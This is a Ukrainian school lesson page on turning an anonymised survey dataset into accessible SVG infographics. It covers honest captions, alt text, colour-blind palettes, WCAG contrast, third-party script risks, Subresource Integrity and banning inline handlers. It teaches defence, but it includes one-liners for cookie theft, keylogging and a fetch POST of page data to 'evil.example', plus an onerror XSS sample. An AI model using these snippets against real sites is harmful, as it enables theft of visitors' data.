У тебе вже є чистий data.csv з минулого уроку.
Сьогодні він стає інфографікою — і заразом ти вчишся не довіряти
жодному рядку коду, який написав не ти.
Минулого уроку ти прибрав із датасету все, що вказує на конкретну людину. Сьогодні — друга половина тієї самої роботи. Треба показати дані так, щоб їх правильно зрозуміли. Усі, а не лише ти. І той, хто не розрізняє червоне й зелене. І той, хто взагалі не бачить екрана.
І третя частина, найважливіша. Щоб намалювати діаграму, зазвичай підключають чужу бібліотеку одним рядком з чужого сервера. Цей один рядок віддає авторові бібліотеки стільки ж прав на твоїй сторінці, скільки маєш ти сам. Сьогодні розберемо, що з цим роблять.
Слова SRI, integrity і ланцюг постачання поки нічого не означають. Дійдемо до кожного — після прикладу, а не до нього.
| Файл | Що в ньому |
|---|---|
~/www/infographic/index.html |
сторінка інфографіки: ≥2 діаграми, таблиця-дублікат, підпис із джерелом, висновок ≥120 слів |
~/www/infographic/chart.js |
твій власний код побудови: читає data.csv і малює SVG |
~/www/infographic/credits.md |
той самий файл із уроку 5, доповнений розділом про зовнішні залежності |
~/www/infographic/data.csv |
уже лежить на сервері з минулого уроку — сьогодні не чіпаємо |
~/www/infographic/ — тій самій теці, що й на
уроці 5. Не шукай lesson-06: тема одна, уроки два.| Етап | Хв | Що робиш |
|---|---|---|
| Тип під дані | 10 | швидко добираєш форму під свої колонки |
| Чесний підпис | 15 | джерело, дата збору, розмір вибірки — і що без них |
| Доступність | 20 | альтернатива-висновок, таблиця-дублікат, колір і контраст |
| Побудова діаграм | 25 | chart.js на своєму data.csv |
| Чужий код і ланцюг постачання | 20 | що може скрипт із чужого домену |
| SRI | 15 | рахуєш хеш, ламаєш його, дивишся на відмову браузера |
| Висновок і автоперевірка | 15 | ≥120 слів у #conclusion, чеклист до зеленого |
Це ти вже проходив. Тут — тільки таблиця-нагадування, щоб не витрачати урок на відоме
У 9 класі ти розбирав, як діаграма бреше правдивими числами: обрізана вісь, 3D, порядок категорій, число без одиниці. Правила не змінилися. Швидко звіряємось і йдемо далі — сьогоднішня тема інша.
| Що показуєш | Форма | Чому саме вона |
|---|---|---|
| порівняння категорій | стовпчики | довжину око порівнює точніше за все інше |
| довгі підписи категорій | горизонтальні стовпчики | підпис не доводиться повертати боком |
| зміна в часі | лінія | нахил читається як швидкість зміни |
| частки цілого, 2—3 категорії | кругова | більше секторів — і кути вже не порівняти |
| зв'язок двох чисел | точкова | видно і напрям зв'язку, і викиди |
Наш наскрізний приклад на весь урок — той самий датасет, що був у прикладі минулого уроку: як учні добираються до школи. Він уже анонімізований — замість адрес райони, замість точного часу смуги, і в кожній групі не менш ніж пʼятеро людей:
Підсумок по способах: громадський 44, пішки 32, авто 17, велосипед 5. Разом 98. Ці чотири числа зʼявлятимуться на сторінці далі — звіряй їх щоразу.
Ти просиш AI-редактор «побудуй діаграму за моїм data.csv», і він видає гарний код із числами 46, 30, 15, 7. Виглядає правдоподібно. Що робиш першим?
«За даними опитування» — це не джерело. Це фраза, яка виглядає як джерело
Будь-яка діаграма — це твердження про світ. Перевірити твердження можна лише тоді, коли поруч написано три речі. Немає хоча б однієї — і діаграму неможливо ні підтвердити, ні спростувати.
| Що вказуєш | Навіщо це читачеві | Приклад |
|---|---|---|
| Джерело даних | хто зібрав і чи можна дістатися до сирих даних | власне опитування учнів школи, форма Google |
| Дата збору | дані застарівають; «пів класу на самокатах» узимку і в травні — різні числа | 12—14.02.2026 |
| Розмір вибірки | задає точність: на 20 відповідях різниця в 5 відсотків — шум | 98 відповідей, зібраних у чотирьох районах |
У нас 98 відповідей. Громадським їздять 44 особи — це 44,9%. Але 98 — це не вся країна і навіть не вся школа, тому кожен відсоток має похибку. Для частки її грубо оцінюють так:
| Спосіб | Осіб | Частка | Інтервал 95% |
|---|---|---|---|
| громадський | 44 | 44,9% | 35,1 — 54,7% |
| пішки | 32 | 32,7% | 23,4 — 41,9% |
| авто | 17 | 17,3% | 9,9 — 24,8% |
| велосипед | 5 | 5,1% | 0,7 — 9,5% |
| разом | 98 | 100% | — |
Числа в таблиці пораховані за формулою вище; перевір будь-який рядок калькулятором — має зійтися до десятої.
У новинах діаграма: «68% українців підтримують ідею». Під нею дрібним шрифтом: «за даними опитування». Більше нічого. Яке одне питання найшвидше покаже, чи варта ця діаграма довіри?
Ти зібрав 98 відповідей. Але 31 з них — з Півночі: саме там ти роздавав форму особисто. Зі Сходу відповіли лише 15 людей. Що з цим треба зробити в підписі?
Скрінрідер не дивиться на картинку. Він читає те, що ти написав словами — або мовчить
У 9 класі було правило «дай alt». Сьогодні дивимось,
що саме в цьому alt писати, бо саме тут ламаються
майже всі роботи.
| Варіант | Що чує людина | Оцінка |
|---|---|---|
alt="діаграма" |
«діаграма» | формально є, змісту нуль — це найчастіша помилка |
alt="стовпчикова діаграма з чотирма стовпчиками різної висоти" |
опис форми | переказано картинку, а не дані: висновку немає |
alt="Громадським і пішки добирається 78% опитаних (76 із 98); авто — 17, велосипед — 5" |
власне зміст | саме те, що треба: висновок + опорні числа |
Простий тест: прочитай свій опис уголос по телефону людині, яка не бачить екрана. Якщо після цього вона може переказати висновок своїми словами — опис хороший.
<title> з висновком і числами
прямо в ньому. Для чотирьох стовпчиків цього достатньо.<title> з висновком плюс
<desc> з розбором, і aria-labelledby,
що вказує на обидва.<svg>, а не <canvas>
У <canvas> немає жодного елемента всередині — це один
прямокутник пікселів, і доступним його робить лише aria-label
ззовні. SVG складається з тегів: у нього можна покласти
<title>, <desc>, підписи текстом,
і все це масштабується без розмиття. Для нашої задачі SVG кращий у всьому.Однокласник написав alt="стовпчикова діаграма опитування учнів
10-х класів" і вважає, що доступність зроблена. Чому вчитель
попросить переписати цей опис?
Твоя сторінка малює діаграму скриптом із data.csv.
У школі впав інтернет на середині завантаження, і скрипт не виконався.
Що бачить читач, якщо ти зробив усе за сьогоднішніми правилами?
Приблизно 8% чоловіків і 0,5% жінок європейського походження погано розрізняють червоне й зелене. У паралелі з 78 учнів це двоє-троє людей
Мова не про «особливих глядачів». Той самий ефект дає вицвілий проєктор, чорно-білий принтер, знімок екрана в месенджері й нічний режим телефона. Правило одне: колір може лише дублювати ознаку, яка вже закодована чимось іншим.
| Тип | Що погано розрізняється | Поширеність |
|---|---|---|
| дейтераномалія і дейтеранопія | зелений і червоний | найпоширеніша форма, близько 6% чоловіків |
| протаномалія і протанопія | червоний і зелений, червоний темнішає | близько 2% чоловіків |
| тританопія | синій і зелений, жовтий і рожевий | рідкісна, менш ніж 0,01% |
| ахроматопсія | колір узагалі, лишається яскравість | дуже рідкісна; але саме це бачить чорно-білий принтер |
<pattern> — переживає навіть факс;Числа нижче взяті не зі стелі. Їх записано в міжнародному наборі правил доступності веб-сторінок. Набір зветься WCAG — Web Content Accessibility Guidelines, «настанови щодо доступності веб-вмісту». Пише його консорціум W3C, той самий, що описує сам HTML. На WCAG посилаються закони про доступність державних сайтів. Тож це не порада «для гарного тону», а робочий стандарт. Чинна версія — 2.1, і кожна вимога в ній має свій номер: саме ці номери стоять у третій колонці.
| Що | Мінімальний контраст | Звідки правило |
|---|---|---|
| звичайний текст: підписи осей, значення | 4.5:1 | WCAG 2.1, критерій 1.4.3, рівень AA |
| великий текст: заголовок діаграми від 24px | 3:1 | той самий критерій 1.4.3 |
| самі стовпчики, лінії, межі полів | 3:1 | WCAG 2.1, критерій 1.4.11 «контраст нетекстових елементів» |
Контраст — це відношення яскравостей двох кольорів, і його рахують за
формулою, а не на око. Ось повний розрахунок для помаранчевого
#FF7F0E на білому тлі:
Ти зробив діаграму «виконано / не виконано» зеленим і червоним без підписів — «бо це ж очевидно». Учитель відкрив її на проєкторі, і половина класу не змогла сказати, який стовпчик який. Найдешевше виправлення, яке не вимагає міняти палітру?
Обери палітру для своєї діаграми, перемкни тип зору — і подивись, що лишиться від легенди
Сторінка бере кольори, переводить їх у лінійний RGB, множить на матрицю відповідного типу дальтонізму й повертає назад. Це та сама математика, яку використовують редактори й розширення для браузера. Контраст рахується до реального тла цієї сторінки за формулою WCAG з попереднього кроку.
| Категорія | Колір | Як його видно | Контраст | Поріг 3:1 |
|---|
У симуляторі ти обрав палітру «один тон». При всіх типах дальтонізму ΔE лишається великим. Зате контраст двох найсвітліших кольорів до тла — 1,4 і 2,4. Що це означає для твоєї діаграми?
Скрипт із чужого домену виконується не «в себе». Він виконується всередині твоєї сторінки й з твоїми правами
Це найважливіше речення сьогоднішнього уроку, і його зазвичай розуміють неправильно. Ось цей рядок:
Файл прийшов із cdn.example.com, але виконується він
усередині твоєї сторінки — тієї, що відкрита за адресою
91.219.61.4/s/ivan. Для браузера цей код невідрізнимий від твого
власного.
Чому так, зрозуміліше з одного правила браузера. Уяви два сусідні
під'їзди. Мешканець першого не зайде в чужу квартиру в другому, навіть
якщо будинок один. Так само влаштовані вкладки: скрипт зі сторінки
evil.example не прочитає вміст твоєї сторінки
91.219.61.4/s/ivan у сусідній вкладці. Браузер розділяє їх
за походженням — це трійка «протокол + домен + порт». Саме правило
зветься правилом одного походження, англійською same-origin policy.
А тепер головне. Це правило захищає твій документ від чужих сторінок.
Про скрипти, які твоя сторінка запросила сама, воно не каже нічого.
Рядок <script src="…"> — це запрошення. Ти сам відчинив
двері й пустив гостя. Далі він ходить твоєю квартирою на тих самих правах,
що й ти.
| Дія | Один рядок коду | Наслідок для відвідувача |
|---|---|---|
| прочитати поле форми | document.querySelector('#email').value |
адреса, телефон, іноді пароль ідуть на чужий сервер |
| слухати кожне натискання | addEventListener('keydown', …) |
усе, що набирають на сторінці, зчитується посимвольно |
| прочитати cookie | document.cookie |
чужа сесія: зайти під тобою без пароля |
| вставити свій вміст | document.body.insertAdjacentHTML(…) |
реклама, фальшива форма входу, підмінені реквізити |
| відправити дані | fetch('https://evil.example', {method:'POST', body:…}) |
тихо, без жодної позначки в інтерфейсі |
Ти підключив лічильник відвідувань із безкоштовного сайту одним рядком
<script src>. Через місяць у відвідувачів твоєї
сторінки почала з'являтися чужа реклама. Ти нічого не міняв, файли на
сервері ті самі. Як таке можливо?
Зламати тисячу сайтів по одному важко. Зламати одну бібліотеку, яку підключила тисяча сайтів, — набагато простіше
Уяви, що в двадцять шкіл возять хліб з однієї пекарні. Щоб зіпсувати обід у всіх двадцяти, не треба заходити в кожну їдальню. Досить однієї пекарні.
З кодом так само. Твій сайт ніхто окремо ламати не буде: він нікому не цікавий. Але код приходить до нього через кілька чужих рук. Такий шлях і звуть ланцюгом постачання.
Удар припадає не по тобі, а по ланці вище. Дістає він усіх, хто нижче.
| Випадок | Коли | Що сталося |
|---|---|---|
event-stream | листопад 2018 | автор популярного npm-пакета передав права людині, яка попросила допомогти з підтримкою. Та додала залежність зі шкідливим кодом, що крав ключі криптогаманця Copay. Пакет качали мільйони разів на тиждень |
ua-parser-js | жовтень 2021 | зламали акаунт мейнтейнера; у трьох опублікованих версіях з'явився криптомайнер і збирач паролів. Пакет — одна з найпопулярніших бібліотек розбору User-Agent |
polyfill.io | червень 2024 | домен популярного CDN купила інша компанія, і скрипт почав
перенаправляти частину відвідувачів на шахрайські сайти.
Оцінки постраждалих сайтів — понад сто тисяч. Власники сайтів
не робили нічого: у них стояв старий рядок <script src> |
| British Airways | 2018 | у скрипт на сайті авіакомпанії дописали кілька десятків рядків, які копіювали дані банківських карток при оплаті. Постраждали сотні тисяч транзакцій; британський регулятор наклав штраф у 20 мільйонів фунтів |
left-pad | березень 2016 | не атака, а зникнення: автор прибрав з npm крихітний пакет на 11 рядків — і збірка тисяч проєктів по всьому світу впала за кілька хвилин |
Твій сайт — сторінка з діаграмами про транспорт до школи. Жодних паролів, жодних грошей. Однокласник каже: «Кому ти потрібен, щоб тебе ламати». У чому він помиляється?
Subresource Integrity — це відбиток пальця файлу. Не збігся — браузер просто не виконає код
Коли ти забираєш посилку, на ній є номер. Ти звіряєш номер з тим, що в застосунку, — і лише тоді береш коробку. Не збігся номер — це чужа посилка.
З файлом роблять так само. Ти один раз рахуєш хеш того файлу, який перевірив і якому довіряєш. Хеш — це короткий рядок, порахований з умісту файлу. Зміниться хоч один байт — рядок стане зовсім іншим.
Цей рядок ти записуєш прямо в тег. Далі браузер кожного відвідувача рахує хеш того, що прийшло з мережі, і порівнює зі своїм. Не збіглося — код не виконується. Механізм зветься SRI, Subresource Integrity.
| Частина | Що означає |
|---|---|
sha256- |
назва алгоритму. Дозволені sha256, sha384,
sha512. Найчастіше пишуть sha384 — не тому,
що інші «слабкі», а через звичку й приклади в документації |
| довгий рядок після дефіса | сам хеш у base64. Це не шифрування: з хеша файл не відновити, він потрібен лише для порівняння |
crossorigin="anonymous" |
обов'язково для чужого домену. Без нього браузер не отримає права прочитати тіло відповіді, не зможе порахувати хеш — і заблокує скрипт, навіть якщо той цілий |
| кілька хешів через пробіл | дозволено: integrity="sha256-… sha384-…".
Достатньо, щоб збігся хоч один — так роблять під час переходу
на новий алгоритм |
Три різні інструменти мають дати однаковий рядок. Якщо не дають — ти рахуєш не той файл або не ті байти.
Get-FileHash
Get-FileHash у PowerShell видає хеш у шістнадцятковому вигляді,
а integrity вимагає base64. Це різні записи одного й того самого
числа, і просто вставити вивід Get-FileHash у тег не вийде —
браузер мовчки заблокує скрипт.Наведений вище рядок gaaMFNH…r6M= — це справжній
SHA-256 від тексту var a=1; без переведення рядка. Можеш
перевірити обома командами: збігається до символу.
counter.js
уже виконався і сам тягне ще один файл — на нього integrity
з твого тега не поширюється;Ти скопіював рядок <script src integrity> з чужої
сторінки, але шлях виправив на нову версію бібліотеки. Сторінка
відкрилася порожньою, у консолі помилка. Що сталося?
Ліворуч — те, що лежить на чужому сервері. Праворуч —
дві твої сторінки: з integrity і без нього
Хеші тут справжні: сторінка рахує SHA-256 від того тексту, який
бачиш у чорному вікні, тим самим алгоритмом, що й openssl.
Перемкни стан файлу — і дивись, що зміниться в обох колонках.
integrityбраузер порівнює хеші перед виконанням
integrityбраузер виконує все, що прийшло
У лабораторії з integrity сторінка з підміненим файлом
виявилася без лічильника: блок порожній. Однокласник каже, що SRI
«зламав сайт». Як правильно описати те, що сталося?
CDN — це чужий сервер, від якого залежить твоя сторінка. Локальний файл — твій
SRI закриває підміну, але не закриває решту. Тому правило модуля просте:
усе, що потрібно сторінці, лежить поруч із нею в
~/www/infographic/vendor/. Ось чотири причини.
| Причина | Що це означає на практиці |
|---|---|
| CDN зникає | домен не продовжили, компанія закрилася, шкільний фаєрвол блокує адресу — і на уроці твоя сторінка порожня. У 2016 автор прибрав з npm пакет на 11 рядків, і по всьому світу посипалися збірки |
| CDN підміняється | історія polyfill.io 2024 року: власник змінився, і сотні тисяч сайтів почали віддавати відвідувачам чужий код. Жоден із власників нічого не робив |
| CDN стежить | кожне завантаження — це запит із IP відвідувача, адресою твоєї сторінки й версією браузера. У 2022 суд у Мюнхені визнав вбудовування Google Fonts із серверів Google без згоди порушенням правил захисту даних і присудив компенсацію позивачу |
| Локальний файл працює офлайн | сторінка відкривається з флешки, з ноутбука без мережі, на захисті проєкту в кабінеті, де впав інтернет |
Головний аргумент за CDN звучав так: «цю бібліотеку підключають й інші сайти, вона вже в кеші браузера — завантажиться миттєво».
Це перестало працювати. Браузери розділили кеш за сайтами: Chrome із версії 86 у 2020 році, Firefox із версії 85 на початку 2021. Тепер той самий файл кешується для кожного сайту окремо.
Спільного кешу між сайтами більше немає. Виграшу в швидкості теж: зайвий домен її, навпаки, з'їдає. Ось чому.
Перш ніж завантажити файл із cdn.example.com, браузер двічі
говорить із мережею. Спершу він питає: «яка ІР-адреса в цього імені?» —
і чекає на відповідь. Такий пошук адреси за іменем зветься
DNS-розв'язанням.
Потім браузер домовляється з тим сервером про шифрування: сторони перевіряють сертифікат і обмінюються ключами. Ця домовленість зветься TLS-рукостисканням. Як рукостискання при знайомстві, тільки замість імен сторони називають ключі.
Обидві розмови займають десятки мілісекунд, і для кожного нового домену вони починаються з нуля. Файл із твого власного сервера цих затримок не має: браузер уже туди підключений.
~/www/infographic/vendor/, записуєш у credits.md
назву, версію, ліцензію, звідки завантажив і хеш. Якщо все-таки береш із
CDN — integrity і crossorigin обов'язкові,
інакше автоперевірка не зарахує роботу.Учень підключив бібліотеку з CDN і чесно поставив integrity.
Через півроку CDN закрився, домен купили під рекламу. Що тепер
побачить відвідувач його сторінки?
chart.js і чому в розмітці немає onclickТридцять рядків власного коду замість бібліотеки на 300 кілобайтів — і жодного обробника подій у HTML
Для чотирьох стовпчиків бібліотека не потрібна. SVG малюється звичайними тегами, а масштаб — це одне ділення. Заразом ти точно знаєш, звідки взялося кожне число на екрані.
index.html подвійним кліком, адреса буде
file:///…, і fetch('data.csv') впаде з помилкою
доступу — браузер не дає читати сусідні файли з диска. Перевіряй сторінку
через справжній сервер:
python -m http.server 8000 у теці проєкту, далі
http://localhost:8000/. На 91.219.61.4/s/ivan
все працює само собою.onclickАвтоперевірка шукає в твоєму HTML рядки onclick,
onerror, onload. Поки хоч один із них у файлі,
перевірка не стає зеленою: прибереш — заллєш ще раз, спроби не обмежені.
Причин три:
<img src=x onerror=alert(1)>. Атрибут-обробник
перетворює будь-який рядок розмітки на виконуваний код;onclick у розмітці з такою політикою просто перестане
працювати — і від захисту доводиться відмовитися;AI-редактор згенерував тобі гарну сторінку, і в ній є рядок
<svg onload="draw()">. Усе працює. Чому автоперевірка
все одно не пропустить цю роботу — і що саме треба виправити?
Кроки 1—9 робиш у себе на комп'ютері, кроки 10—12 — заливання по FTP і перевірка. Галочки зберігаються
index.html, chart.js і оновлений
credits.md. Растрових картинок у
~/www/infographic/ не має бути жодної: діаграми — це SVG,
який малює твій код.Чекер не оцінює красу. Він звіряє числа з data.csv,
шукає integrity і <title>.
Спроби не обмежені
Демонстраційний режим: результат згенеровано для показу. На сервері
ця кнопка викликає POST /api/check, який запускає
/opt/lessons/06/check.sh від імені учня.
data.csv конкретне число з діаграми —
учитель називає стовпчик, ти знаходиш рядки, які його дають;integrity (якщо він у тебе є)
і показуєш повідомлення в консолі;chart.js —
включно з тими, які написав Antigravity.Це те, що бачить учитель, коли виставляє оцінку.
| Складник | Вага | Результат |
|---|
integrity відповідає на одне питання — «це той самий файл?»,
і нічого не знає про те, добрий код чи поганий;crossorigin="anonymous" перевірка чужого файлу
не спрацює взагалі;data.csv — AI домалював
правдоподібні значення, а їх ніхто не звірив;integrity скопійовано з іншої версії бібліотеки — скрипт
мовчки не виконується, сторінка порожня, а в консоль ніхто не заглянув;Get-FileHash у шістнадцятковому вигляді
замість base64;alt="діаграма" — формально є, змісту не несе;fetch
не працює по file://, і здалося, що зламався код.Переробити одну зі своїх діаграм так, щоб сенс читався без кольору
взагалі. Способи на вибір: штрихування через <pattern>,
підписи біля елементів, різна форма маркера, порядок від темного до світлого.
Перевірка проста. Зроби знімок екрана у відтінках сірого. Якщо серії досі розрізняються — завдання виконано.
Другим абзацом допиши в credits.md ось що. Уяви, що ти
підключив бібліотеку з CDN без integrity. Що зміг би зробити
її автор на твоїй сторінці? Напиши своїми словами й додай приклад
одного рядка коду.
Усе, що можна перевірити, має бути перевіреним. Формули на цій сторінці працюють у тебе в браузері просто зараз
openssl dgst -sha256 -binary … | openssl base64 -A,
приклад із документації MDN.
MDNcrossorigin і CORS — чому без нього перевірка
цілісності чужого файлу неможлива.
MDN: crossoriginrole="img", <title>,
<desc>.
w3.org/TR/svg-aam-1.0,
MDN: SVG titleevent-stream, листопад 2018.
github.com/dominictarr/event-stream/issues/116ua-parser-js, жовтень 2021 —
попередження GitHub Security Advisory.
github.com/advisoriesleft-pad, березень 2016 — як зникнення 11 рядків
зупинило збірки по всьому світу.
theregister.com1.96·√(p(1−p)/n).
en.wikipedia.orgПовний список із поясненнями, що звідки взято, —
у файлі urok-06-джерела.md поруч із цією сторінкою.